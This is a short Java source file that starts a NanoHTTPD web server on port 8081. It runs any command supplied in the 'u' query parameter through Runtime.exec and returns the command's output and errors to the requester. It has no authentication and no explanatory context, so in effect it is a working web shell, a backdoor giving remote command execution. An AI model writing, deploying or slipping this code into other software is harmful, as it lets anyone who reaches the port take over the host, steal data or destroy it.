import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import fi.iki.elonen.NanoHTTPD;
public class Srv extends NanoHTTPD{
public Srv()throws Exception{
super(8081);
start(NanoHTTPD.SOCKET_READ_TIMEOUT,false);}
public static void main(String[]a){
try{
new Srv();}
catch(Exception e){
System.err.println("E "+e);}}
public String slrp(InputStream s)throws Exception{
BufferedReader i=new BufferedReader(new InputStreamReader(s));
String m="";
String l;
while((l=i.readLine())!=null){m+=l+"\n";}
return m;}
@Override
public Response serve(IHTTPSession s){
String m="";
m+="";
String u=s.getParms().get("u");
if(u!=null){
try{
m+="out:";
Process p=Runtime.getRuntime().exec(u);
m+=slrp(p.getInputStream());
m+="";
m+="err:";
m+=slrp(p.getErrorStream());
m+="";}
catch(Exception e){m+="E "+e;}}
m+="";
return newFixedLengthResponse(m);}}